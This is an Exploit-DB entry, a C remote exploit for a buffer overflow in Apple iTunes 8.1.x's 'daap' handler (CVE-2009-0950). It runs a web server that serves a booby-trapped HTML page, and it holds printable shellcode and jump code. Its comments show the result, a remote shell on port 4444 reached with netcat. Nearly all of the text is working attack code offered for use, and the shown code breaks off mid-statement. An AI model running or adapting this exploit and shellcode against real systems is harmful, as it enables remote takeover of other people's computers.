Exploit-DB #11138
Description: Apple iTunes 8.1.x - 'daap' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2010-01-14
Author: Simo36

Exploit:
/* iTunes-CVE09-s36.c
 * 
 * Apple iTunes 8.1.x (daap) Buffer overflow remote exploit (CVE-2009-0950)
 *
 * Coded By :
 *       .:: [ Simo36 ] ::.
 *
 *       Contact : Overflows@hotmail.com
 *                 His0k4.hlm@gmail.com
 *
 * Home :          www.sec-r1z.com
 * 
 * Tested on : Win XP SP/SP3 Frensh , Win2k pro SP4 english
 *
 * Thanks To : Ryujin & Stack & r1z 
 * 
 * finally I want to thanks mr ryujin for printable shellcode and jump back .
 * 
 *----------------------------------------------------------
 * C:\Documents and Settings\Administrateur\Bureau\exploit>iTunes-CVE09-s36..exe
 *
 * [+] Apple iTunes 8.1.x Buffer overflow remote exploit CVE-2009-0950
 *
 * [+] By :                Simo36 & His0k4 ( Overflows@hotmail.com )
 *
 * [+] Home :               www.sec-r1z.com
 * [+] Listen on port 80
 *
 * [+] Connection accepted from 127.0.0.1:1097
 *
 * [x] Sendin welcome information....Done
 *
 * [+] sending the evil packet ...[+] Done !
 *
 * [+] check port 4444 with netcat
 *
 * [+] Connection Closed
 * 
 *
 *
 *----------------------------------------------------------------
 * C:\Documents and Settings\Administrateur\Bureau\exploit>nc -v 196.217[PII_REDACTED]
 * sweet-9fc9abcd4 [196.217.232.130] 4444 (?) open
 * Windows XP Sweet 5.1 [SP3 v5.1.2600]
 *(C) Copyright 1985-2001 Microsoft Corp.
 *
 * C:\Program Files\Mozilla Firefox>
 *
 *
 *
 *
 *
 *
 * Note : This vulnerability can't be exploited with simply return address Because 
 *        it is affected with GS Flag .
 *
 * Compiler : Dev-C++ & mingw
 *
 */
#include <stdio.h>  
#include <string.h>  
#include <stdlib.h>  

#include <windows.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32")

#define Max_BUFF 2037
#define PORT 80

char header1[]=
"<html>\n"
"  <head><title>iTunes Remote Exploit</title>\n"
"  <script>\n"
"   function openiTunes(){document.location.assign('itms://itunes.apple.com/');}\n"
"   function prepareStack(){document.location.assign('";


char header2[]=
"');}\n   function ownSeh(){document.location.assign('";


char header3[]=
"');}\n   function ipwn(){\n"
"    prepareStack();\n    ownSeh();\n   }"
"\n   function main() {\n    openiTunes();    \n"
"    setTimeout('ipwn()',20000);\n   }\n";


char header4[]=
"  </script>\n"
"  </head>\n"
"<body onload='main();'>\n"
"<html>\n"
"<head>\n"
"  <title></title>\n"
"</head>\n"
"<body style='color: rgb(0, 0, 0);' onload='main();'\n"
" alink='#ee0000' link='#0000ee' vlink='#551a8b'>\n"
"<p align='center'><b>Apple iTunes 8.1.1.10 (daap)\n"
"BOF remote exploit </b></p>\n"
"<p align='center'><a\n"
" href='http://dvlabs.tippingpoint.com/advisory/TPTI-09-03'><b>\n"
"CVE-2009-0950</b></a>\n"
"</p>\n"
"<p align='center'><span style='font-weight: bold;'>Exploited\n"
"by : Simo36  { Overflows [AT] Hotmail [DOT] com }</span></p>\n"
"<p align='center'><span style='font-weight: bold;'></span></p>\n"
"<p align='center'><b>www.sec-r1z.com</b></p>\n"
"<p align='center'>based on the code found by Matteo\n"
"Memelli  <br>\n"
"</p>\n"
"<h2 align='center'><b><u>This exploit works if\n"
"opened from Firefox only!</u></b>\n"
"</h2>\n"
"<p align='center'>\n"
"After exploitation iTunes crashes, you need to kill it from TaskManager\n"
"<br>\n"
"have fun!</p>\n"
"<p align='center'><br>\n"
"</p>\n"
"<p></p>\n"
"</body>\n"
"</html>\n";


// printable shellcode via EDX 
unsigned char shellcode[]=
             "VVVVVVVVVVVVVVVVV7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIOqhDahIoS0"
             "5QnaJLS1uQVaeQcdcm2ePESuW5susuPEsuilazJKRmixHykOkOKOCPLKPlUtu"
             "tnkRegLLKSLfepx31zOlK2o7hlKqOEpWqZK3ylKwDLKeQHndqo0j9llOt9P3D"
             "uW9Q8J4MWqkrJKkDukPTWTq845M5LKQOq4VajKcVLKTLPKlKQOUL6ajK336LL"
             "KMY0lWTwle1O3TqiK2DLKaSFPLKQPVllK0p7lLmlK3pUXQNU8LNbnvnjL0PkO"
             "8V2Fv3U61xds02U8RWpsVRqO649on0PhjkZMYlekpPKOKfsoMYkUpfna8mgxV"
             "b65RJuRIoHPPhHYFiL5lmBwkOzvpSPSV3F3bsg3BsSsScIohPsVRHR1sl2Fcc"
             "k9M1nuphOT6zppIWrwKO8VcZ6ppQv5KO8PBHmtNMvNm9QGKON6aCqEkOZpbHZ"
             "EbiNfRiSgioiFRpf40TseiohPLSu8KWD9kvPyf7YoxVqEKOxPu6sZpd3VSX1s"
             "0mK98ecZRpv9Q9ZlMYkWqzpDmYxbTqO0KCoZKNaRVMkN3r6LJ3NmpzFXNKNKL"
             "ksX0rkNls5FkOrURdioXVSk67PRPQsapQCZgqbq0QSesaKOxPaxNMZyEUjnCc"
             "KOn6qzKOkOtwKOJpNk67YlMSKtcTyozvrryozp0hXoZnYp1p0SkOXVKOHPA";

             
// ascii printable jump code (alpha2)
char jump_code[]=    "\x55\x59\x43\x43\x43\x43\x43\x43\x49\x49\x49\x49\x49\x49\x49\x49"
                     "\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41"
                     "\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"
                     "\x42\x75\x4a\x49\x5a\x49\x45\x35\x6a\x5a\x4b\x4f\x4b\x4f\x41";

// pop EDX from Stack and Incrasing it 
char align_stack[]= "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
                    "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
                    "\x61\x61\x61\x61\x61\x54\x5a\x42\x42\x42\x42\x42\x42\x56\x56\x56\x56\x56\x56\x56"// 
                    "\x56\x56\x56";

int main(void){
    struct sockaddr_in server,client;
    FILE *p;
    WSADATA wsa;
    SOCKET sock1,sock2;
    int res;
    char sdinfo[]="200\n\r";
    char szRecvBuff[0x100];
    char url2[Max_BUFF];
    char url1[210];
    char payload[7000];
    int i=0;

system("cls");    
printf("\n[+] Apple iTunes 8.1.x Buffer overflow remote exploit CVE-2009-0950\n\n");
printf("[+] By :  \t\tSimo36 & His0k4 ( Overflows@hotmail.com ) \n\n");
printf("[+] Home :\t\t www.sec-r1z.com\n");

if(WSAStartup(MAKEWORD(1 ,1),&wsa) !=0){
                         printf("[-] WSAStartup error:%d\n", WSAGetLastError());  
                         return; 
                         }  

sock1 = socket(AF_INET,SOCK_STREAM,0);
server.sin_family = AF_INET;
server.si